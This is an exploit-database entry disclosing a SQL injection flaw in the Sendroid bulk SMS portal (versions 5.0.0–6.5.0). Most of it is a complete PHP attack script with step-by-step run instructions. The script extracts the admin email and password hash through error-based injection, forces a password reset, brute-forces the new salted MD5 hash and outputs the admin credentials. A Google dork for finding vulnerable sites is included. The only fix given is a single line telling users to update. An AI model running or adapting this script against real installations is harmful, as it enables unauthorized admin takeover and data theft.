Sendroid < 6.5.0 - SQL Injection



EKU-ID: 7182 CVE: OSVDB-ID:
Author: Onwuka Gideon Published: 2017-12-27 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


# Exploit Title: Sendroid - Bulk SMS Portal, Marketing Script( 5.0.0 - 6.5.0 ) - SQL Injection
# Google Dork: "welcome to * SMS portal"
# Date: 22/12/2017
# Exploit Author: Onwuka Gideon <dongiodmed[@]gmail[.]com>
Contact: http://twitter.com/@gideon_onwuka
# Vendor Homepage: http://ynetinteractive.com/
# Software Buy: https://codecanyon.net/item/sendroid-bulk-sms-portal-marketing-2way-messaging-script-with-mobile-app/14657225
# Version: 5.0.0 - 6.5.0
# Tested on: Mac OS
 
 
1. Description
 
The softaware suffers from SQL Injection:
"/API/index.php?action=compose&username=sender&api_key=sdsd&sender"
 
2. Script (Automatic takeover)
 
Attached to mail
 
4. How to run Script
  You must have PHP installed on your system to run the script.
 
   - First, copy the code to a file and save(eg: sendroid_exploit.php)
   - Open up your command line and CD into the directory where you saved the file.
   - Now, type "$ php -f sendroid_exploit.php url=http://localhost/sms"
 
Note: The URL should be a direct link to where the software is installed.
 
3. Proof of Concept
 
Run the script for example:
  php -f sendroid_exploit.php url=http://localhost/sms
 
<?php
/**
* A script to authomatically get admin password
*
* @author: Onwuka Gideon <dongidomed[@]gmail[.]com>
*
*/
 
parse_str(implode('&', array_slice($argv, 1)), $_GET);
 
$queries =[
    "sql_get_email" => "/*!12345SELECT*/+email+FROM+users+WHERE+username='admin'",
    "sql_get_password0" => "/*!12345SELECT*/+SUBSTRING(password,1,32)+FROM+users+WHERE+username='admin'",
    "sql_get_password1" => "/*!12345SELECT*/+SUBSTRING(password,33)+FROM+users+WHERE+username='admin'",
];
 
$payload = "/API/index.php?action=compose&username=asdasd%27)%20OR%20(SELECT%203321%20FROM(SELECT%20COUNT(*),CONCAT+((<query>),FLOOR(RAND(0)*2))x%20FROM%20/*!INFORMATION_SCHEMA*/.PLUGINS%20GROUP%20BY%20x)a)--%20RPjw&api_key=sdsd&sender";
//
 
checkCommands();
 
print_r(getEmailAndPassword($_GET['url'], $payload, $queries));
 
 
/**
*
* Checks if minimum expected command is issued
*
* @param: $_GET
* @return; Boolean
**/
 
 
function checkCommands(){
    
    //url  && shell
    $url = $_GET['url'] ?? "";
    
    if( $url == "" ) {
 
        "Please enter a target";
 
        help();
        exit(1);
    }
}
 
// Print help message
function help(){
 
    echo "Invalid command " . PHP_EOL;
    echo "eg php -f sendroid_exploit.php url=https://localhost/sms" . PHP_EOL;
    echo "" . PHP_EOL;
}
 
 
// ==
// == Reset password and Get the Password hash
// ==
function getEmailAndPassword($url, $payload, $queries){
   
   //>> Fetch admin email
   echo "Fetching admin email....:";
     $sql_get_email = $url . str_replace("<query>", $queries['sql_get_email'], $payload);
     $email = extractValue(makeRequest($sql_get_email));
   echo $email . PHP_EOL.PHP_EOL;
   //<< EndFetch admin email
 
   //>> Fetch admin old pass
   echo "Fetching admin old password...:";
     $sql_old_password0 = $url . str_replace("<query>", $queries['sql_get_password0'], $payload);
     $sql_old_password1 = $url . str_replace("<query>", $queries['sql_get_password1'], $payload);
     $old_password = extractValue(makeRequest($sql_old_password0), 'password') . extractValue(makeRequest($sql_old_password1), 'password');
   echo $old_password . PHP_EOL.PHP_EOL;
   //<< End Fetch admin old
 
   // Now we have the old password and admin email
   // reset password
   echo "Resetting password...:";
     $forgot_password = $url . "/administrator/index.php?reset&p";
     makeRequest($forgot_password, "POST", ["userEmail" => $email]);
   echo " Done!" . PHP_EOL.PHP_EOL;
 
   //>> Fetch admin new password
   echo "Getting new password...:";
     $sql_new_password0 = $url . str_replace("<query>", $queries['sql_get_password0'], $payload);
     $sql_new_password1 = $url . str_replace("<query>", $queries['sql_get_password1'], $payload);
     $new_password = extractValue(makeRequest($sql_new_password0), 'password') . extractValue(makeRequest($sql_new_password1), 'password');
   echo $new_password . PHP_EOL.PHP_EOL;
   //<< End Fetch admin new password
 
   //>> Cracking password
   echo "Craking password...:";
     $password = crackPassword($new_password);
   echo $password . PHP_EOL.PHP_EOL;
   //<< Cracking password
 
   // return $sql_get_email;
   return ["email" => $email, "password" => $password];
}
 
//
// POST and GET request
// ==
function makeRequest($url, $method = "GET", $parameter = []){
 
    // Get cURL resource
    $curl = curl_init();
    // Set some options - we are passing in a useragent too here
    if( strtolower($method) == "post" ){
        curl_setopt_array($curl, [
            CURLOPT_RETURNTRANSFER => 1,
            CURLOPT_URL => $url,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 0_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36',
            CURLOPT_POST => 1,
            CURLOPT_POSTFIELDS => $parameter
        ]);
    }
    else{
 
        curl_setopt_array($curl, [
            CURLOPT_RETURNTRANSFER => 1,
            CURLOPT_URL => $url,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 0_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36'
        ]);
    }
    // Send the request & save response to $resp
    $resp = curl_exec($curl);
    // Close request to clear up some resources
    curl_close($curl);
 
    return $resp;
}
 
// Extract the real value
function extractValue($payload, $what = "email"){
   
   $patterns = []; $patterns[0] = "/ for key 'group_key'/"; $patterns[1] = "/Duplicate entry /"; $patterns[2] = "/\s\s+/"; $patterns[3] = "/'/"; 
   $replacements = [];  $replacement[0] = ""; $replacements[1] = ""; $replacements[2] = ""; $replacements[3] = "";
   
   $result = preg_replace($patterns, $replacements, $payload);
     
    return substr($result, 0, -1);
}
 
 
function crackPassword($password){
    
   echo " cracking... please wait... ";
 
   $pwsalt = explode( ":",$password ); 
 
   for ($i=1; $i < 20000000000000 ; $i++) {
 
     if(md5($i . $pwsalt[1]) == $pwsalt[0] ) { 
 
       return $i;
     }
 
   }
 
   return "Could not crack password";
}
 
If you successfully run the script, you'll get the admin password. You can login to the admin portal:
localhost/sms/administrator/
 
4. Solution:
   
Update to the latest version